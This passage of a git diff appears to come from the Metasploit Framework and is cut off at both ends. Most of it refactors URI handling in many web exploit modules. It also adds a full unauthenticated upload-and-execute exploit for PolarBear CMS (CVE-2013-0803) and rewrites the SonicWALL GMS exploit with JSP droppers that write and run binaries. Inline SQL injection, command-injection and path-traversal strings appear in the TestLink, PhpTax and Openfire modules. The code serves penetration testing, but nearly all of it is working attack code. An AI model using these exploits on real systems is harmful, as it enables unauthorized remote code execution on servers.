'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'vars_post' => { 'global_smtp' => "", diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index 4f4557bb80..a7fc47a52b 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -89,10 +89,10 @@ class Metasploit3 < Msf::Exploit::Remote end def check - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' - path = "#{base}login.jsp" + path = normalize_uri(base, "login.jsp") res = send_request_cgi( { 'uri' => path @@ -183,7 +183,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n--#{boundary}--" res = send_request_cgi({ - 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?uploadplugin", + 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?uploadplugin"), 'method' => 'POST', 'data' => data, 'headers' => @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote if datastore['REMOVE_PLUGIN'] print_status("Deleting plugin #{plugin_name} from the server") res = send_request_cgi({ - 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}", + 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?deleteplugin=") + plugin_name.downcase, 'headers' => { 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 2f45fc7602..a245a3cd45 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -96,11 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote ] qs = args.join() - uri = normalize_uri(target_uri) + uri = normalize_uri(target_uri.path) uri = "#{uri}?#{qs}" - #print_status("URI: #{target_uri}?#{qs}") # Uncomment to preview URI - # Has to be all on one line, so gsub out the comments and the newlines payload_oneline = " 'GET', - 'uri' => "#{base}mods/documents/uploads/#{f}", + 'uri' => normalize_uri(base, 'mods/documents/uploads/', f), 'cookie' => cookie }) end diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index 7e1bee9ef4..6052a86061 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -56,9 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'index.php' + uri = normalize_uri(datastore['URI'], 'index.php') res = send_request_raw( { @@ -74,9 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote end def get_session - uri normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'index.php' + uri = normalize_uri(datastore['URI'], 'index.php') res = send_request_raw( { diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 3de593e6cd..d0733a8efb 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -73,13 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path print_status("#{rhost}#{rport} - Sending request...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}drawimage.php", + 'uri' => normalize_uri(uri, "drawimage.php"), 'vars_get' => { 'pdf' => 'make', 'pfilez' => "xxx; #{payload.encoded}" diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index 10c502fc7f..1015e29dd6 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -61,9 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') res = send_request_raw( { @@ -77,9 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') send_request_cgi( { diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index 9bbbcb3967..1552699482 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -73,8 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote header = rand_text_alpha_upper(3) header_append = rand_text_alpha_upper(4) - uri = normalize_uri(datastore['URI']) - uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php' + uri = normalize_uri(datastore['URI'], "pmwiki.php") res = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb new file mode 100644 index 0000000000..b3dc7c338f --- /dev/null +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -0,0 +1,103 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' +require 'msf/core/exploit/php_exe' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PolarPearCms PHP File Upload Vulnerability', + 'Description' => %q{ + This module exploits a file upload vulnerability found in PlarPear CMS + By abusing the upload.php file, a malicious user can upload a file to a temp + directory without authentication, which results in arbitrary code execution. + }, + 'Author' => + [ + 'Fady Mohamed Osman' # @Fady_Osman + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-0803' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 21 2012')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) , + OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms']) + ], self.class) + end + + def check + uri = target_uri.path + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php') + }) + + if not res or res.code != 200 + return Exploit::CheckCode::Unknown + end + + return Exploit::CheckCode::Appears + end + + def exploit + uri = target_uri.path + + upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/") + + peer = "#{rhost}:#{rport}" + + @payload_name = "#{rand_text_alpha(5)}.php" + php_payload = get_write_exec_payload(:unlink_self=>true) + + data = Rex::MIME::Message.new + data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") + data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/', nil, nil, "form-data; name=\"folder\"")) + post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + print_status("#{peer} - Uploading payload #{@payload_name}") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', "upload.php?folder=#{upload_dir}"), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + }) + if not res or res.code != 200 + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + upload_uri = "#{upload_dir}#{@payload_name}" + print_status("#{peer} - Executing payload #{@payload_name}") + res = send_request_raw({ + 'uri' => upload_uri, + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 39df154e4f..47959f1b71 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/index.php"}) + res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")}) if res and res.body =~ /
.+qdPM ([\d])\.([\d]).+\<\/div\>/m major, minor = $1, $2 return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70 @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote # Login res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/index.php/home/login", + 'uri' => normalize_uri("#{base}/index.php/home/login"), 'vars_post' => { 'login[email]' => username, 'login[password]' => password, @@ -187,7 +187,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/index.php/home/myAccount", + 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie, @@ -205,7 +205,7 @@ class Metasploit3 < Msf::Exploit::Remote # When we upload a file, it will be renamed. The 'myAccount' page has that info. res = send_request_cgi({ - 'uri' => "#{base}/index.php/home/myAccount", + 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'cookie' => cookie }) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 4066d047fe..6fafba24d9 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -55,8 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) end diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 8743f76106..e5e5311505 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -53,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) register_evasion_options( diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 830202444b..cf46bf92d7 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -64,12 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - uri = normalize_uri(datastore['URI']) - if uri[-1,1] != '/' - uri = uri + "index.php" - else - uri = uri + "/index.php" - end + uri = normalize_uri(datastore['URI'], "index.php") res = send_request_raw({ 'uri' => uri @@ -91,12 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_session(user, pass) - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + "login.php" - else - uri = uri + "/login.php" - end + uri = normalize_uri(datastore['URI'], "login.php") res = send_request_cgi({ 'uri' => uri, @@ -121,12 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote def upload_page(session, newpage, contents) - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + "ftp_upload_file.php" - else - uri = uri + "/ftp_upload_file.php" - end + uri = normalize_uri(datastore['URI'], "ftp_upload_file.php") boundary = rand_text_alphanumeric(6) @@ -187,12 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote def cmd_shell(cmdpath) print_status("Calling payload: #{cmdpath}") - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + cmdpath - else - uri = uri + "/#{cmdpath}" - end + uri = normalize_uri(datastore['URI'], cmdpath) send_request_raw({ 'uri' => uri diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 4abf1ce645..397116f37a 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } @@ -46,13 +46,19 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => [ 'win', 'linux' ], 'Targets' => [ + [ 'SonicWALL GMS 6.0 Viewpoint / Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + } + ], [ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], - [ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)', + [ 'SonicWALL GMS 6.0 Viewpoint Virtual Appliance (Linux)', { 'Arch' => ARCH_X86, 'Platform' => 'linux' @@ -70,86 +76,12 @@ class Metasploit3 < Msf::Exploit::Remote end - def on_new_session - # on_new_session will force stdapi to load (for Linux meterpreter) - end + def install_path + return @install_path if @install_path - - def generate_jsp - var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) - var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) - var_data = Rex::Text.rand_text_alpha(rand(8)+8) - var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) - var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) - var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) - var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) - var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) - var_counter = Rex::Text.rand_text_alpha(rand(8)+8) - var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) - var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) - var_comb = Rex::Text.rand_text_alpha(rand(8)+8) - var_exe = Rex::Text.rand_text_alpha(rand(8)+8) - @var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) - var_proc = Rex::Text.rand_text_alpha(rand(8)+8) - var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) - var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) - - jspraw = "<%@ page import=\"java.io.*\" %>\n" - jspraw << "<%\n" - jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n" - jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n" - jspraw << "String #{var_data} = \"\";\n" - - jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" - jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n" - jspraw << "}\n" - - jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n" - jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n" - - jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n" - jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n" - jspraw << "#{var_inputstream}.read(#{var_bytearray});\n" - jspraw << "#{var_inputstream}.close();\n" - - jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n" - jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n" - jspraw << "{\n" - jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n" - jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n" - jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n" - jspraw << "#{var_comb} <<= 4;\n" - jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n" - jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n" - jspraw << "}\n" - - jspraw << "#{var_outputstream}.write(#{var_bytes});\n" - jspraw << "#{var_outputstream}.close();\n" - - jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n" - jspraw << "String[] #{var_fperm} = new String[3];\n" - jspraw << "#{var_fperm}[0] = \"chmod\";\n" - jspraw << "#{var_fperm}[1] = \"+x\";\n" - jspraw << "#{var_fperm}[2] = #{var_exepath};\n" - jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n" - jspraw << "if (#{var_proc}.waitFor() == 0) {\n" - jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" - jspraw << "}\n" - # Linux and other UNICES allow removing files while they are in use... - jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n" - jspraw << "} else {\n" - # Windows does not .. - jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" - jspraw << "}\n" - - jspraw << "%>\n" - return jspraw - end - - def get_install_path res = send_request_cgi( { - 'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1", + 'uri' => normalize_uri(target_uri.path,"appliance","applianceMainPage") + "?skipSessionCheck=1", 'method' => 'POST', 'connection' => 'TE, close', 'headers' => @@ -166,11 +98,12 @@ class Metasploit3 < Msf::Exploit::Remote } }) + @install_path = nil if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/ - return $1 + @install_path = $1 end - return nil + @install_path end def upload_file(location, filename, contents) @@ -180,12 +113,13 @@ class Metasploit3 < Msf::Exploit::Remote post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"") post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"") + # Work around an incompatible MIME implementation data = post_data.to_s data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") res = send_request_cgi( { - 'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1", + 'uri' => normalize_uri(target_uri.path, "appliance","applianceMainPage") + "?skipSessionCheck=1", 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", @@ -195,6 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'connection' => 'TE, close' }) + register_files_for_cleanup(path_join(location, filename)) if res and res.code == 200 and res.body.empty? return true @@ -203,26 +138,33 @@ class Metasploit3 < Msf::Exploit::Remote end end - def check - @peer = "#{rhost}:#{rport}" - @uri = normalize_uri(target_uri.path) - @uri << '/' if @uri[-1,1] != '/' + def upload_and_run_jsp(filename, contents) + upload_file(path_join(install_path,"webapps","appliance"), filename, contents) + send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "appliance", filename), + 'method' => 'GET' + }) + end - if get_install_path.nil? + def check + if install_path.nil? return Exploit::CheckCode::Safe end + if install_path.include?("\\") + print_status("Target looks like Windows") + else + print_status("Target looks like Linux") + end return Exploit::CheckCode::Vulnerable end def exploit @peer = "#{rhost}:#{rport}" - @uri = normalize_uri(target_uri.path) - @uri << '/' if @uri[-1,1] != '/' # Get Tomcat installation path print_status("#{@peer} - Retrieving Tomcat installation path...") - install_path = get_install_path if install_path.nil? fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path") @@ -230,50 +172,114 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{@peer} - Tomcat installed on #{install_path}") - if target['Platform'] == "linux" - @location = "#{install_path}webapps/appliance/" - elsif target['Platform'] == "win" - @location = "#{install_path}webapps\\appliance\\" - end - - - # Upload the JSP and the raw payload - @jsp_name = rand_text_alphanumeric(8+rand(8)) - - jspraw = generate_jsp - - # Specify the payload in hex as an extra file.. - payload_hex = payload.encoded_exe.unpack('H*')[0] - - print_status("#{@peer} - Uploading the payload") - - if upload_file(@location, "#{@var_hexfile}.txt", payload_hex) - print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt") + if target['Platform'] == "java" + exploit_java else - fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload") + exploit_native + end + end + + def exploit_java + print_status("#{@peer} - Uploading WAR file") + app_base = rand_text_alphanumeric(4+rand(32-4)) + + war = payload.encoded_war({ :app_name => app_base }).to_s + war_filename = path_join(install_path, "webapps", "#{app_base}.war") + + register_files_for_cleanup(war_filename) + + dropper = jsp_drop_bin(war, war_filename) + dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + + upload_and_run_jsp(dropper_filename, dropper) + + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{@peer} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end + end + + def exploit_native + print_status("#{@peer} - Uploading executable file") + exe = payload.encoded_exe + exe_filename = path_join(install_path, Rex::Text.rand_text_alpha(8)) + if target['Platform'] == "win" + exe << ".exe" end - print_status("#{@peer} - Uploading the payload") + register_files_for_cleanup(exe_filename) - if upload_file(@location, "#{@jsp_name}.jsp", jspraw) - print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp") + dropper = jsp_drop_and_execute(exe, exe_filename) + dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + + upload_and_run_jsp(dropper_filename, dropper) + end + + def path_join(*paths) + if install_path.include?("\\") + path = paths.join("\\") + path.gsub!(%r|\\+|, "\\\\\\\\") else - fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp") + path = paths.join("/") + path.gsub!(%r|//+|, "/") end - print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") - res = send_request_cgi( - { - 'uri' => "#{@uri}appliance/#{@jsp_name}.jsp", - 'method' => 'GET' - }) + path + end - if res and res.code != 200 - print_warning("#{@peer} - Error triggering the payload") - end + # This should probably go in a mixin + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| - register_files_for_cleanup("#{@location}#{@var_hexfile}.txt") - register_files_for_cleanup("#{@location}#{@jsp_name}.jsp") + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_execute_command(command) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|try {\n| + jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %Q|} catch (IOException ioe) { }\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_drop_and_execute(bin_data, output_file) + jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end end diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 28f3e0854e..d91113a065 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' peer = "#{rhost}:#{rport}" @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}login.php" + 'uri' => normalize_uri(base, "login.php") }) return Exploit::CheckCode::Unknown if res.nil? @@ -185,7 +185,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}lib/attachments/attachmentupload.php?id=#{id}&tableName=#{table}", + 'uri' => normalize_uri(base, "lib/attachments/attachmentupload.php") + "?id=#{id}&tableName=#{table}", 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 @@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}upload_area/#{table}/#{id}/" + 'uri' => normalize_uri(base, "upload_area", table, id) }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @token = $1 @@ -238,11 +238,11 @@ class Metasploit3 < Msf::Exploit::Remote # attempt to retrieve real file name from the database if @token.nil? print_status("#{@peer} - Retrieving real file name from the database.") - sqli = "lib/ajax/gettprojectnodes.php?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" + sqli = normalize_uri(base, "lib/ajax/gettprojectnodes.php") + "?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}#{sqli}", + 'uri' => sqli, 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @@ -263,7 +263,7 @@ class Metasploit3 < Msf::Exploit::Remote begin send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}upload_area/nodes_hierarchy/#{id}/#{@token}.php" + 'uri' => normalize_uri(base, "upload_area", "nodes_hierarchy", id, "#{@token}.php") }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 5fdf162a99..2757cb6e13 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -112,9 +112,6 @@ class Metasploit3 < Msf::Exploit::Remote end def check - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - res = query_serverinfo disconnect return CheckCode::Unknown if res.nil? @@ -127,8 +124,8 @@ class Metasploit3 < Msf::Exploit::Remote :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), - :user => datastore['BasicAuthUser'], - :pass => datastore['BasicAuthPass'], + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) @@ -164,9 +161,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target @@ -198,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote # # UPLOAD # - path_tmp = normalize_uri(datastore['PATH']) + "/deploy" + query_str + path_tmp = normalize_uri(datastore['PATH'], "deploy") + query_str print_status("Uploading #{war.length} bytes as #{app_base}.war ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -221,8 +215,8 @@ class Metasploit3 < Msf::Exploit::Remote :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), - :user => datastore['BasicAuthUser'], - :pass => datastore['BasicAuthPass'], + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) @@ -247,7 +241,7 @@ class Metasploit3 < Msf::Exploit::Remote # # DELETE # - path_tmp = normalize_uri(datastore['PATH']) + "/undeploy" + query_str + path_tmp = normalize_uri(datastore['PATH'], "/undeploy") + query_str print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -263,7 +257,7 @@ class Metasploit3 < Msf::Exploit::Remote end def query_serverinfo() - path = normalize_uri(datastore['PATH']) + '/serverinfo' + path = normalize_uri(datastore['PATH'], '/serverinfo') res = send_request_raw( { 'uri' => path diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 54565c898e..ca61aeed05 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ 